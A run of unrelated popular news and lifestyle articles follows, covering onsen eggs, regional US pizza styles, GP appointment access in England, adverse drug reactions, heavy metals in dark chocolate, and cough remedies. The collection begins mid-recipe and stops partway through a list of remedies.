You can then add the katsuobushi next and turn off the heat, waiting for the last ingredient to sink to the bottom of the pan.

After a minute has passed, you should strain the mixture through a sieve and set the sauce aside.

How to make traditional Japanese onsen eggs For the eggs 3 cups water

 cup cool water (the water needs to be colder than room temperature)

2 large eggs (refrigerated) For the sauce  cup dashi

 Tbsp mirin

1  Tbsp soy sauce

 cup katsuobushi

Green onions (for the garnish) Method Add the water to the saucepan and cover it with a lid, bringing it to a boil

Once boiling, remove the pot from the heat and immediately pour in the cool water

Place the eggs into the saucepan and cover with the lid, leaving them in for 11-15 minutes

Set the eggs aside for five minutes to cool, and then heat up your frying pan and spray some cooking oil over the base

The eggs should be partially boiled with the whites intact but the yolk still runny when they are cracked open over the frying pan

Continue to cook and flip the egg over until the desired consistency for the yolks is reached

To start on the sauce, combine the dashi, mirin, and soy sauce in a small saucepan and bring it to a boil

Add the katsuobushi next and turn off the heat, waiting for it to sink to the bottom of the pan

After a minute, strain the mixture into a bowl

Enjoy! Advertisement

Thousands of people have tried their hand at the simple dish - with many marvelling at how easy the meal is even for amateur cooks

Thousands of people have tried their hand at the simple dish - with many marvelling at how easy the meal is even for amateur cooks.

'I made these today,' a woman wrote as she shared a photo of her lunch on Instagram. 'They're so delicious!'

'I've always struggled with poached eggs - I can't believe I never tried partially boiling them first! Genius.'
Do any of these wacky and wonderful pizza creations fire up your appetite?

Twitter users from across the US have been revealing how the concept of 'pizza' varies wildly from state to state and city to city.

User @MNateShyamalan sparked a flurry of recipe sharing activity after he tweeted: 'The saddest thing is when you visit a city that's not New York or Chicago and they're like @we also have a distinctive pizza style!'''

Other users quickly started sharing photos of what pizzas look like in their localities, with creations from Pennsylvania, Iowa and Rhode Island some of the more unusual pies.

Several people posted images of the Altoona-style pizza which hails from Pennsylvania

Some users tweeted about the strange pizza creations coming out of Pittsburgh, with the style there consisting of baked, square crusts topped with cold toppings

A shot of an Altoona-style slice, left, and a healthier pizza recipe from California, right

@thomasadennis revealed, much to his annoyance, how pies in St Louis are typically cut into small squares

Several people posted images of the Altoona-style pizza which hails from Pennsylvania.

Jim Cheney, writing on the website Uncovering PA, notes that this particular style of pizza was invented at the Altoona Hotel in the 1960s or 1970s.

However, when the property burned down in 2013, several restaurants in the area adopted the pizza recipe and started selling it.

Detailing what the pizza recipe entails, he explains: 'Altoona-style pizza is a Sicilian-style pizza (though they might be offended to hear that). The pizza is cooked on a Sicilian pizza dough, which makes it thicker than many other types of pizza that you'll find in the area.

'The pizza is topped with tomato sauce, green bell peppers, peppercorn salami, and, most controversial, yellow American cheese. The yellow American cheese now typically replaces Velvetta cheese, which was the original cheese of choice.'

Colorado-based Twitter users revealed their state's less artful-looking pizza recipe, known as the 'Colorado mountain pie' with braided, honey-sweetened crust

@starlitclover uploaded a photo demonstrating the 'California pizza', with the topping comprising raw tomatoes, arugula and avocado slices

Twitter user @baconelf uploaded this photo along with the caption 'Iowa style pizza is just fine'

Photos posted to the twitter thread show how the Altoona-style pizza looks pretty unsavory with a fluffy base and a gooey melted layer of American cheese on top.

Another odd pizza creation from Pennsylvania was highlighted by Twitter user @MNateShyamalan. The 'Pittsburgh-style pizza' consists of baked, square crusts topped with tomato sauce and cold toppings including mounds of unmelted cheese, pickles and chilis.

A gallery on the Pittsburgh pizza store Beto's website shows how almost all of their creations feature a solid layer of cold grated cheese.

For those looking for a healthier pizza recipe, some Twitter users suggested heading over to California.

User @jdaley5487 posted a picture of a slice she got from Abbot's Pizza Company in Venice.

Instead of a slew of cheese, hers featured a based covered in salad and avocado. Another person on the thread, @starlitclover, uploaded a similar photo demonstrating the 'California pizza', with the topping comprising raw tomatoes, arugula and avocado slices.

Colorado-based Twitter users revealed their state's less artful-looking pizza recipe, known as the 'Colorado mountain pie'.

This pizza features a thick, braided, honey-sweetened crust, topped with a 'mountain' of toppings.

Another shot of a squared up pizza from St Louis was posted by @chandler_stl

@MNateShyamalan posted a photo of pizza from Pittsburgh complete with cold cheese, left, while @AndrewRCraig said Maryland crab pizza is 'actually good and definitely different', right

Mental Health Amateur @PunkLumberJack I'm from MA and my RI friends introduced me to pizza strips. Cheeseless pizza baked in a sheet pan and served at room temp. It's honestly fire

User @Xenia12126 posted an image of what the specialty pies look like and said: 'I've only lived in Colorado for like five years, but Colorado-style pizza is like my favorite thing ever. I'm a SUCKER for the crust.'

@thomasadennis said he was less enamored with the pizza in St Louis. While the look of the pizza is pretty traditional, he explained that the pies are typically cut into three or four inch miniature squares.

He captioned a photo of the squared up pizza: 'There's a lot that I love about St. Louis, but FFS'.

Rhode Island was revealed as another spot where pizza is served in square or rectangle format. The state also has its own unique recipe known as 'bakery pizza' which features no cheese and a smear of tomato paste on a baked crust.

Twitter user @PunkLumberJack explained that his friends introduced him to bakery pizza and it didn't taste as bad as it looked.

Alongside an image of the baked good he explained: 'Cheeseless pizza baked in a sheet pan and served at room temp. It's honestly fire.'

Other Twitter users from around the world got involved in the thread, with one from Sweden sharing a photo of a pizza topped with pineapple rings, banana slices and ham, while someone from the UK presented a pizza topped with a full English cooked breakfast and another from Scotland uploaded an image showing a deep-fried pizza served with fries.
Patients in Bicester say they are trapped in phone queues for GP appointments

Britons are still struggling to get face-to-face GP appointments  despite multiple ministers promising to fix the situation.

Furious campaigners claim patients are being trapped in a 'Catch-22' system that bounces them between phone queues and online forms.

And when they do eventually get through, many complain they are still unable to secure an appointment in-person.

One GP practice is still partly blaming Covid for the mayhem.

An automated message at the surgery in Oxfordshire thanked patients stuck in a phone queue for their 'patience' during the pandemic.

This map shows the 50 GP practices with the lowest proportion of face-to-face appointments according to official NHS data. MailOnline's analysis excluded practices if the mode of appointment was unknown for more than 20 per cent of their consultations and if the GP service did not routinely offer regular face-to-face appointments, such as care home services. NHS Digital describes this data as 'experimental' meaning it may not capture the full picture and is more prone to reporting errors

This is despite it being almost a year since the final restrictions were lifted.

Since then, several health secretaries have demanded that family doctors  who earn 110,000 on average  return to normal service.

Patient advocacy groups told MailOnline that 'dehumanising' tales of people struggling to see doctors are emerging up and down the country, which give the impression that some GPs 'do not want to see patients'.

Latest NHS figures show 69 per cent of GP appointments were held face-to-face in November.

This was down slightly on the figure for October (71.3 per cent), which marked the highest proportion since the start of Covid.

In-person consultations nosedived during the pandemic, with the rate dropping as low as four in ten during the early days of the crisis as Britons were told to stay at home to limit the spread of the virus.

MAILONLINE APP USERS CAN USE THE TOOL BY CLICKING HERE

Despite trending upwards in 2022, the proportion of consultations carried out face-to-face is still way below the 80 per cent levels seen pre-Covid.

Top GPs have stated the current balance of in-person and remote appointments is about right, and that patients shouldn't get a face-to-face appointment if there is no clinical need for one.

But campaign groups disagree, warning that telephone or online calls are not appropriate for everyone and aren't always the best way of diagnosing patients.

Dennis Reed, from Silver Voices, a campaign group for senior residents which has repeatedly voiced concerns about GP access in the UK, said a lack of face-to-face appointments remained a constant issue.

The proportion of GP appointments held face-to-face dipped to 69 per cent in November a slight reversal after months of steady improvement since last February. The figure while higher than the lows of the pandemic is still a far cry from the some 80 per cent of appointments that were held in person pre-Covid

Patients at Montgomery House Surgery have complained about being trapped between phone queues and online forms while trying to get an appointment, all the while being thanked for their 'patience' during the Covid crisis by outdated automated messages

Dr Deja-vu? How the revolving door of health secretaries has vowed to fix the GP appointment crisis Over the past 18 months multiple health secretaries have vowed to make it easier to get a GP appointment. Sajid Javid, who inherited the title of Health Secretary from Matt Hancock said in October 2021 as he announced a 250m to help improve patient access in the winter of that year: 'I am determined to ensure patients can see their GP in the way they want, no matter where they live.' And successor Dr Therese Coffey vowed to ease the 8am 'Glastonbury ticket-esque' scramble to phone a GP for an appointment through the installation of new phone systems. In September, during her brief tenure in the role as part of the short-lived Liz Truss administration, she said: 'I am determined to make it easier for people to get an appointment with their GP practice when they need one and this will allow patients to make a more informed choice about the care they receive.' Current Health Secretary Steve Barclay, who picked up the mantle from Dr Coffey, said in November as he unveiled new GP practice data was on face-to-face appointments originally touted by Mr Javid: 'I am determined to make it easier for people to get an appointment with their GP practice when they need one and this will allow patients to make a more informed choice about the care they receive.' Read more on the 'merry-go-round' of health secretaries here. Advertisement

'People haven't seen any discernible improvement in the situation since the end of the pandemic,' he said.

'There's been a lot of good intentions from the Government with a carrot and stick approach but none of it appears to have really scratched the figures.'

He added that despite repeated 'good intentions' from ministers, progress on face-to-face appointments was 'funereal', with the issue having faded into the background amid the NHS strikes on pay.

Mr Reed said this risked a lower level of face-to-face appointments compared to pre-Covid of becoming the new normal.

'There doesn't appear to be any great action on improving the situation with GP appointments and this sort level is becoming ingrained in the figures,' he said.

Although access to face-to-face appointments has been a problem, some patients are often struggling to get through to a family doctor at all.

The latest tale of GP access woe comes from patients registered with Montgomery-House Surgery in Bicester, Oxfordshire.

Patients there claim to have been stuck for days at a time trying to contact their practice for an appointment, rushing to call at 8.30am when the lines open only to be trapped in a queue for hours.

While waiting, they are occasionally blasted with the recorded voice stating: 'Thank you for your patience during the current pandemic.'

Some patients stuck in this maddening loop for more than an hour said they opted to head to the practice itself to see if they could book an appointment in-person.

But the receptionist then told them to fill out an online form to describe their symptoms that their GP could then look at.

But this left some patients tearing their hair out as, after using the form, they were greeted with the message: 'We can't safely assess your symptoms through this online request. You need to talk to someone today instead.'

Mr Reed claimed similar chaos was happening across the country.

'All of things they've described I hear every day,' he told MailOnline. 'People feel that they are just banging their heads against a wall.

'It's a Catch-22 situation, you can't find your way through the system, you turn one corner and there's another barrier in your way.

'It gives the impression that certain practices don't want to see patients.'

The latest NHS data on GP appointments for November showed the majority were not with a family doctor, instead being picked up another staff member like a nurse or paramedic

He said this process was 'dehumanising' for patients because they feel like they've become little more than a number in a telephone queue or a code on a form.

'Patients are increasingly being seen as bundles of data,' Mr Reed said.

'They're real people who want to talk about their conditions, want some empathy, want to be able to talk to a human being, not have to tap on a keyboard.'

The campaigner added that said GPs' 'antiquated' telephone systems needed improvement across the country.

'The Government keeps promising they're going to improve the telephone systems, and a lot of them are really antiquated, but I don't see any signs that things are improving,' he said.

'It's the everyday experience of people trying to engage with GP practices, and something has to be done.'

Healthwatch England, another patient advocacy body, told MailOnline access to a family doctor is the 'top issue' people are raising with them.

Louise Ansari, the organisation's national director, said: 'People continue telling us about the difficulties they face getting through to their local practice, including long waits on the phone, issues with online booking systems and a lack of available face-to-face appointments.'

As well as causing frustration, barriers to booking GP appointments could also cause patients harm and put pressure on other NHS services if their condition deteriorates.

'GP services are often the first port of call for people who need care and so the lack of easy access puts people's health and wellbeing at risk and increases demand on overstretched hospitals  both from those who cannot get a GP appointment so seek care at A&E, and from people who now need more advanced care and treatment because they were unable to get help sooner,' she said.

The patient group has called for NHS England to undertake a formal review of GP access to ensure the system works for all patients, including keeping the information they communicate to patients updated.

Rachel Power, chief executive of charity The Patients Association, claimed it had also been told of similar problems.

More than a third of patients were unable to access a GP when they needed one in the past year, a MailOnline survey revealed today. The poll of 1,500 Brits showed 34 per cent said they could not get an appointment their local doctor or other NHS services when they tried to in 2022

'We hear from members they experience difficulties getting through to their general practice and booking appointments that meet their needs,' she said.

'This has been going on for a long time and we do not believe it will be resolved until there is a workforce strategy that ensures we have enough doctors and nurses to deliver the care patients need.'

The Patients Association has been calling for extra funding to improve GP telephone services for years, to help family doctors to install extra phone lines and pay for more staff to answer calls to help reduce queues.

'Improving general practices' ability to handle calls would reduce patients' frustration and increase satisfaction with their practices, and probably alleviate pressure on receptionists too,' she said.

The Government has some plans to enable Britons to book GP appointments without resorting to telephone queues such as using the NHS app to let patients book consultations in advance.

Think-tank Future Health added that family doctors are not doing themselves any favours by failing to update pandemic-era messaging.

Richard Sloggett, programme director for the body's research centre, said: 'Given the pressures facing the NHS it is perhaps not surprising that GP phone systems and websites still contain outdated information and advice on the pandemic.

'But this poor information creates confusion and wastes time and effort for both patients and busy staff.'

Mr Sloggert added that the Government needed to both update and standardise GP phone systems and booking systems and that it would deliver massive benefits in battling the 8am scramble for appointments for little cost.

'The technology exists to easily standardise websites and automate information updates. A small investment could deliver a much wider set of benefits,' he said.

'It is time to upgrade GP websites and phone systems and create a better front door that works for patients.'

Multiple health secretaries have vowed to drastically boost the number of face-to-face appointments.

Sajid Javid was involved in the ongoing row with family doctors over a lack of face-to-face appointments, at one point blaming it for the A&E crisis as it left sick Brits with nowhere else to turn to.

And in October 2021 he pledged: 'I am determined to ensure patients can see their GP in the way they want, no matter where they live.'

Therese Coffey, who was in charge of the Department of Health during Liz Truss's 49-day tenure as PM, vowed to ease the 8am 'Glastonbury ticket-esque' scramble to phone a GP for an appointment.

Her Plan for Patients involved new telephone systems to make it easier to get through to receptionists and keep callers updated of their place in the queue.

Dr Coffey, upon unveiling her plans in September, said: 'I am determined to make it easier for people to get an appointment with their GP practice when they need one and this will allow patients to make a more informed choice about the care they receive.'

She has since been supplanted by Steve Barclay, who said in November as he published new GP practice-level data on face-to-face appointments: 'I am determined to make it easier for people to get an appointment with their GP practice when they need one and this will allow patients to make a more informed choice about the care they receive.'

NHS data showed that 51 per cent of the 8,000 appointments held at Bicester's Montgomery-House Surgery in November were face-to-face, below the national average.

But the practice didn't even make it into the 50 lowest performing practices in England by this metric.

Analysis of experimental NHS data found as few as one in six appointments in some surgeries were face-to-face in November.

One of the lowest performers overall was Bath Road Surgery in Hounslow, west London, where only 900 of the some 6,000 appointments that month were face-to-face, only 15 per cent of the total.

The league table of practice-by-practice data, compiled by the health service's statistics body NHS Digital, was brought in by the Government to effectively name and shame poor-performing surgeries.

But the experimental data has been described as being of 'poor' quality by the NHS's statistics body, meaning it may not capture the full picture and is more prone to reporting errors.

NHS Buckinghamshire, Oxfordshire and Berkshire West Integrated Care Board, which is responsible for the health service in the area covered by Montgomery-House Surgery, was contacted for comment.

A spokesperson for Montgomery-House Surgery said: 'Demand for GP services is high everywhere and practices are doing their best to meet patients' needs with the resources they have.

'We know that most of our patients are aware of these pressures and appreciate their understanding and patience as we work to improve our service.'

They added that they were monitoring their phone system waiting times and that they had been higher than expected in December due to staff being ill with flu and Covid, and that the practice had recruited more staff to meet demand.

The spokesperson also said the practice has now changed their pandemic automated message but it was still playing when MailOnline called the practice.

'Patient care is our priority and we cannot comment on individual cases but encourage patients to feedback their experiences of using services to us directly so that we can review and respond to individual cases,' they said.

Patients have continually expressed their frustration over a failure of GP services to return to pre-pandemic levels of access, particularly regarding face-to-face appointments.

Despite 80 per cent of patients being seen in-person pre-Covid, top doctors have suggested the figure may never return to this level.

They have said the mixture of in-person and remote appointments is balanced and that patients shouldn't have a face-to-face appointment simply because they would prefer one.

The sector is also being hit by a staffing crisis, with too few GPs for too many patients, especially in some parts of the country.

This crisis is partly being fuelled as increasing numbers of doctors are reducing their working hours and retiring early, while some are leaving for the private sector or abroad because of the pressures.

Doctors' union, the British Medical Association, estimated England is short of about 2,000 GPs, with recruitment failing to keep pace with demand.

Professor Kamila Hawthorne, chairman of the Royal College of GPs (RCGP), said: 'We understand and share our patients' frustrations when they are unable to easily access the care and services they need and that we want and are trained to deliver.

'However, hardworking GP teams are being blamed for a situation that is not their fault and beyond their control.

'Successive governments have failed to sufficiently invest in general practice for over a decade and we are now seeing the consequences, with overstretched and understaffed GP teams trying their best to deliver patient care in extremely difficult circumstances.'

She said that this winter in particular was showing how busy GPs were.

'This winter, we are the first port of call for the increased rates of winter viruses such as influenza-like illnesses and exacerbation of chronic respiratory conditions, as well as cases of streptococcal tonsillitis,' she said.

'This is in addition to delivering vital winter immunisation programmes and delivering interim care to the millions of patients on NHS waiting lists.'

The RCGP has been calling for the Government to implement a new recruitment and retention strategy for GPs in England that goes beyond the 6,000 family doctors pledged by Conservatives in their last election manifesto.

Dr Kieran Sharrock, the British Medical Association's England GP committee acting chairman, also said family doctors are frustrated by the situation.

'GPs share the frustration of patients when they find it difficult to get through to their practice,' he said.

'It is a simple case of demand outstripping capacity, as any receptionist will tell you as they manage the huge volumes of patients calling to book into limited appointment slots daily, creating bottlenecks.'

He said patients were being let down by a lack of a Government strategy to keep family doctors working.

'With this mismatch it's regrettable but inevitable that some patients are waiting longer, as practice teams try their best to manage demand and ensure that people who need their care most get it.'

He added that a lack of trained GP practice receptionists was also a factor.

'Many practices do not have enough receptionists to manage the incoming queries,' he said.

'They struggle to recruit and keep these valuable team members due to the extreme pressures of the job and a lack of investment in practices that means they receive better pay elsewhere.

'So, while we recognise the distress and frustration when people struggle to get through, the abuse that many of our front desk colleagues experience on a daily basis is wholly unacceptable and will only make the problem worse as it drives more to leave.'

A Department of Health and Social Care spokesperson insisted it had been clear that GPs must offer face-to-face appointments and respect patient preferences for them.

'We are clear that GP practices must provide face-to-face appointments alongside remote consultations, and should respect the preferences of patients unless there are good clinical reasons to the contrary,' they said.

'NHS England is accelerating the delivery of cloud-based telephony systems, which will support GP practices in improving call handling and allow them to plan for staffing during busy periods.'

An NHS England spokesperson added: 'GP teams are working non-stop to get people the care they need, delivering millions more appointments compared to pre-pandemic, with two-thirds getting seen within a week and seven in ten patients getting treated in person.'

Although Covid has faded into the background, the virus can still disrupt GP services.

This can be due to staff needing time off if they fall ill from the virus as well as practice working hours being used to rollout Covid vaccines.

Within the past few days Mr Javid has repeated his claim that the current NHS model is 'unsustainable' and backed calls for radical reforms that would see patients charged for GP appointments.

Former health secretary and veteran Tory Ken Clarke also put forward a similar argument earlier this month.

The latest row over GP access comes after an analysis of NHS data found more than five million people a month were unable to book a GP appointment in the year up to October 2022.

It found only a fifth of Britons said they were always able to 'promptly access' their GP over the year.

An earlier version of the map used in MailOnlines analysis listed St Andrews Surgery as being in the South of England. This was incorrect, the St Andrews Surgery named in the list is in Hull.
Women and patients on a higher number of medicines are at greater risk of suffering an adverse drug reaction, a study found.

More than a quarter of people on long-term medication experienced at least one adverse drug reaction (ADR) over six years.

Those prescribed 10 or more medicines had a threefold increased risk of experiencing a reaction such as nausea and swelling.

Researchers say the findings suggest those on multiple medications should be prioritised for regular reviews with their GPs.

More than a quarter of people on long-term medication experienced at least one adverse drug reaction (ADR) over six years. Those prescribed 10 or more medicines had a threefold increased risk of experiencing a reaction such as nausea and swelling

What is an adverse drug reaction? An adverse drug reaction (ADR) is a harmful unintended reaction from taking a medication. Symptoms, which can include a dry mouth, ankle swelling and headaches, can be known or new side effects. Medics are urged to report all serious suspected reactions to the UK's Medicines and Healthcare products Regulatory Agency (MHRA), which watches out for trends in adverse reactions. ADRs are responsible for five to eight per cent of unplanned NHS admissions each year. They are thought to cost the health service 2.5billion annually. Advertisement

In the biggest study to focus on adverse drug events by patients in primary care, scientists monitored 592 patients aged 70 years and older from 15 general practices in the Republic of Ireland over a six-year period.

Overall, the majority of adverse reactions identified were mild and resolved, they found.

Some 11 per cent were moderate in their severity while eight patients had to be admitted to hospital as a result of their reactions.

Women were at least 50 per cent more likely to have ADRs than men, as a result of the different biological make-up between sexes.

Professor Emma Wallace, from University College Cork, said researchers were keen to ascertain how common a problem this is and how severe the adverse drug reactions are.

She said: 'We found that one in four older people experienced at least one adverse drug reaction over the six-year period.

'The majority of adverse drug reactions were clinically mild, but 11 per cent were moderate severity and eight patients experienced an emergency admission as a result of the adverse drug reaction.

'We found that females and those prescribed increasing numbers of medicines were more likely to experience an adverse drug reaction.

'In particular, patients prescribed 10 or more medicines had a threefold increased risk of experiencing an adverse drug reaction.'

She added: 'Women and men can respond differently to the effects of medications, both beneficial and harm, and also the way our bodies process and break down medications can vary by sex.

'The type of medications prescribed can vary between men and women also.'

ADRs can be difficult to identify in medically complex older adults as they often present as non-specific symptoms, scientists said.

Examples of adverse effects included dry mouth, ankle swelling, headaches and nausea, according to the findings published in the British Journal Of General Practice.

Meanwhile, the medication groups most commonly associated with ADRs included those taken for high blood pressure and other cardiac conditions, strong painkillers such as tramadol and antibiotics such as amoxicillin.

Researchers suggested stopping ineffective medications as a way of minimising the risks.
It comes after a report last year found lead and cadmium in leading products

A leading watchdog is calling for confectionary giants to reduce the amount of harmful metals in their dark chocolate products ahead of Valentine's day  after more than a dozen lawsuits were filed against leading manufacturers.

Consumer Reports put out open letters to Hershey, Modelez International  which owns Cadbury  and Theo Chocolate and Trader Joe's on Monday, following the a report by the group in late 2022 which found high levels of lead and cadmium in the companies' dark chocolate products.

The watchdog highlighted that long-term exposure to the metals could result in nervous system problems, immune system suppression and kidney damage. Though there is no indication that any of the bars individually contain enough to cause harm.

Trader Joe's has been sued at least nine times by consumers over its dark chocolate since Consumer Reports released its study, while Hershey Mondelez, Godiva and Lindt

The above graphic shows the 28 chocolate bars tested by New York-based nonprofit Consumer Reports. All were found to contain lead and cadmium. Consumer Reports compared levels of the heavy metal in about an ounce of the chocolates to the recommended daily exposure levels from the Californian Office of Environmental Health Hazard Assessment. These are not set specifically for food products, but overall

Last month, Consumer Reports said 23 of the 28 dark chocolate bars it tested included potentially harmful levels of lead, cadmium or both for people who eat more than one ounce of chocolate a day.

Cadmium is naturally in soil and is thought to get absorbed by cocoa plants during the harvesting process.

Poisoning from the toxic metal has been linked to nausea, abdominal pain, shortness of breath and vomiting.

Lead can find its way into the manufacturing of dark chocolate through industrial dust, which can get into the supply of cocoa plants while they are left to dry outside.

Symptoms of lead poisoning often include high blood pressure, abdominal pain, memory issues and headaches.

The danger is greater for pregnant women and young children because of the risk of developmental problems.

The National Confectioners Association said: 'Chocolate and cocoa are safe to eat and can be enjoyed as treats as they have been for centuries.

'The California Office of Environmental Health Hazard Assessment (OEHHA) guidelines cited in the Consumer Reports study are not food safety standards.

'An expert investigation conducted through our prior California Proposition 65 settlement concluded that cadmium and lead are present in cocoa and chocolate due to soil and that bean cleaning during processing cocoa beans reduces lead and cadmium in chocolate products.

'The products cited in this study are in compliance with strict quality and safety requirements, and the levels provided to us by Consumer Reports testing are well under the limits established by our settlement. Food safety and product quality remain our highest priorities and we remain dedicated to being transparent and socially responsible.'

Nearly 55,000 consumers signed the petition, which was sent alongside the letters by Consumer Reports.

The group said many consumers eat dark chocolate for its potential health benefits and relatively low sugar levels, but 'there's nothing healthy about ingesting heavy metals.'

Valentine's Day is a major holiday for chocolate manufacturers. A combined profit of around $1billion is raked in by the industry each year.

Around 36million heart-shaped boxes of chocolate are sold in the US. The major rush happens just before February 14, with 58million pounds of chocolate sold in the week before the holiday.

Trader Joe's has faced the most lawsuits of any chocolate manufacturers so far.

Tamakia Herd filed a suit against Trader Joe's in Manhattan federal court on Januarty 6, days after Thomas Ferrante filed his case in Brooklyn.

Mr Ferrante said he bought both products after reading their labels, and would not have done so or would have paid less had he known their contents said in the lawsuit.

'High levels of lead and cadmium in food products is material to reasonable consumers, because these chemicals pose serious health risk, even in small dosages,' he said.

Mr Ferrante and Ms Herd are seeking at least $5 million in damages, including at least $500 per transaction under New York law.

There currently is no national limit on lead and cadmium in chocolate bars set by the Food and Drug Administration (FDA).

The chocolate makers did not immediately respond to requests for comment.

Consumer Reports did not immediately respond to a request for additional information.
Persistent, hacking coughs seem to be the soundtrack to winter this year.

Its perhaps inevitable, given that flu cases rose by almost 50 per cent in the first week of January, Covid cases remain high  a dry, persistent cough is the most commonly reported symptom  and a monster cold appears to be doing the rounds.

Last week, Professor Kamila Hawthorne, chair of the Royal College of GPs, said doctors were noticing that coughs were lingering longer than usual this winter.

The suggestion is that this may be down to people catching one infection after another  possibly due to our reduced resistance to infections after socially isolating for two winters.

Its perhaps inevitable, given that flu cases rose by almost 50 per cent in the first week of January, Covid cases remain high  a dry, persistent cough is the most commonly reported symptom  and a monster cold appears to be doing the rounds

The reason menthol cough lozenges  or throat sprays  help is that they provide a cooling sensation to the throat, which can help counter the tickling feeling you get that makes you want to cough, says Ashley Woodcock, a professor of respiratory medicine at the University of Manchester

As Professor Paul Hunter, an expert in infectious diseases at Norwich Medical School, told Good Health last week, the longer it is since previous exposure, the greater our chance of catching an infection. So what can you do about that cough?

When you develop a respiratory infection, the body steps up mucus production to trap the viruses responsible.

Coughing is a reflex action to clear the airways of this mucus, explains Dr Edward Nash, a consultant in respiratory medicine at Heartlands Hospital in Birmingham.

The hacking bark that can accompany a cough is down to inflammation, which is part of the bodys immune response, and infection of small tubes in the lungs, explains Dr Anindo Banerjee, a respiratory consultant at University Hospital Southampton NHS Foundation Trust.

The tubes become floppy and narrowed so that when you blow hard  that is, cough  the velocity of air flow through them causes changes in sound.

There is no benefit in trying to suppress a cough since the reason youre coughing is because the body perceives it needs to get rid of some source of irritation.

But why can the cough persist after the initial cold or infection that triggered it has gone? Coughing for more than three weeks, even after the virus has gone, means you may have a persistent inflammatory response, says Dr Banerjee.

When you develop a respiratory infection, the body steps up mucus production to trap the viruses responsible. Coughing is a reflex action to clear the airways of this mucus, explains Dr Edward Nash, a consultant in respiratory medicine at Heartlands Hospital in Birmingham

And thats why convalescing  in other words, taking it easy and pacing yourself before returning to normal activities and exercise  after a bad cough is important, he adds, as its a sign the body is still healing.

So taking energy from elsewhere  for example, by resuming a strenuous exercise regimen  could slow down your recovery.

Whats more, even low-grade inflammation in the body leads to fatigue as it changes the way cells use energy. Lingering inflammation within the muscles and airways can also cause lethargy  battling viruses can leave us exhausted, says Dr Banerjee.

If theres no benefit in trying to resist the urge to cough, there are ways to manage it.

The reason menthol cough lozenges  or throat sprays  help is that they provide a cooling sensation to the throat, which can help counter the tickling feeling you get that makes you want to cough, says Ashley Woodcock, a professor of respiratory medicine at the University of Manchester. This tickling is due to a change in nerve sensitivities in the throat which can drive the cough reflex. Menthol is soothing to the throat and so youre less likely to cough.

But the impact in terms of controlling your cough may only last 20 minutes to half an hour.

Cough syrups help because swallowing liquid soothes the throat  which is why Dr Banerjee suggests mixing over-the-counter cough medicine with water.

This is how these products were originally supposed to be taken, he says. Whichever product you use, mix the recommended dose with the same amount of warm water and sip it slowly. Its more soothing  and means you drink it over a longer period, so the impact will last longer.

Breathing exercises may be another tool  an idea first suggested in the 1950s when Russian scientist Dr Konstantin Buteyko noticed people who breathed through their mouths and kept clearing their throats would suffer dry, irritable coughing spasms

But he says any liquid could soothe and coat the throat  hot drinks and soup, too, will help ease the cough and the fluid will help thin the mucus, making it easier to budge. And keep your home warm  18 to 21C, suggests GP Dr Andrew Whittamore, Clinical Lead at Asthma + Lung UK.

Some research, such as a study published in the Proceedings of the National Academy of Sciences, has found that the immune response  certainly in rodents  is reduced at lower temperatures.

Breathing exercises may be another tool  an idea first suggested in the 1950s when Russian scientist Dr Konstantin Buteyko noticed people who breathed through their mouths and kept clearing their throats would suffer dry, irritable coughing spasms.

Breathing in through the nose helps to warm, humidify and filter the air coming in, says Emma Tucker, a respiratory physiotherapist and post-Covid rehabilitation coordinator at Oxford Health NHS Foundation Trust.

When our noses are blocked we dont do this, which can lead to throat irritation and therefore further coughing.

She suggests trying the following exercise which she recommends to patients in her own clinic  and does herself when she has a lingering cough  to help clear the mucous causing it.

Lie on your back on a soft surface, place your hands on your tummy and concentrate on breathing in through the nose and moving the air down towards the belly, feeling it gently rise and fall with the breath. Try to concentrate on the size of the breath  we advise that a normal, restful breath is around 450ml to 500ml (slightly more than a can of cola).

And that standard advice to drink plenty of fluids throughout the day is not simply because the liquid will soothe and lubricate the throat to reduce the urge to cough, but it will also thin out the mucus, with similar effect.

Lie on your back on a soft surface, place your hands on your tummy and concentrate on breathing in through the nose and moving the air down towards the belly, feeling it gently rise and fall with the breath. Try to concentrate on the size of the breath  we advise that a normal, restful breath is around 450ml to 500ml (slightly more than a can of cola)

A possible complication of repeated coughing is the impact it has on our chest muscles. The violent contraction of the muscles between the ribs it causes can damage the muscle fibres and cause pain, says Dr Nash. For this he suggests paracetamol or ibuprofen for a couple of days.

If you have more persistent pain  over three to four weeks  its important to get it checked, as it might be a sign of pneumonia, an infection of the lung tissue and airways (which can cause pain as you breathe in or out). Dont sniff at traditional remedies, says Dr Banerjee.

Many of the remedies of old wives tales  honey and lemon, or fresh ginger in tea  are antiseptics of various types to help the body fight infection and make you feel better.

If you have been unwell and less active than usual, then Dr Banerjee reiterates that its important to take it easy for the next few days or weeks if necessary.

The important thing, he says, in getting back to normal daily life, is to do it slowly  with exercise in particular, dont start at previous levels. Work yourself back gradually to what you could do before you were ill.

With exercise, pushing yourself before youre ready can set you back and make you even more exhausted, says Dr Gavin Francis, a GP and author of Recovery: The Lost Art of Convalescence.

Thats why its so important to listen to your body and how it responds. I liken this to snakes and ladders  its easy to land on a snake by pushing yourself too hard, too fast and slide further down the board away from health.

Recovery can be a long journey, adds Dr Banerjee. The key is to rest and pace yourself as you go.

5 OF THE BEST COUGH REMEDIES

BY CAROLINE JONES FOR THE DAILY MAIL

We asked immunologist Dr Ross Walton to select five of the best over-the-counter remedies for a hacking cough.

ASDA Flu-Max All-in-One Chesty Cough & Cold Tablets

16 tablets, 3

This targets coughs with an ingredient called guaifenesin, which makes mucus thinner and easier to clear. It also contains phenylephrine hydrochloride to ease nasal congestion, and paracetamol to reduce a fever and ease aches and pains. As a combined product it is the cheapest way to get these effective ingredients together.

Covonia Original Bronchial Balsam

150ml, 5.50, most pharmacies.

Most cough syrups work as a so-called demulcent  they have a moderate effect on suppressing the cough reflex by coating the throat with honey or glycerol (a natural lubricant) to soothe inflamed tissue. In many cases, a spoonful of honey in a hot drink would work just as effectively.

It works by binding to receptors in the brains cough centre (the medulla oblongata), effectively blocking the nerve signals there, so the message that triggers the cough reflex isnt sent as frequently

This product is distinct in that it also contains dextromethorphan, which research has shown to be the most effective ingredient at reducing cough frequency. It works by binding to receptors in the brains cough centre (the medulla oblongata), effectively blocking the nerve signals there, so the message that triggers the cough reflex isnt sent as frequently.

Strepsils Sore Throat and Cough Lozenges

24 lozenges, 5, most pharmacies.

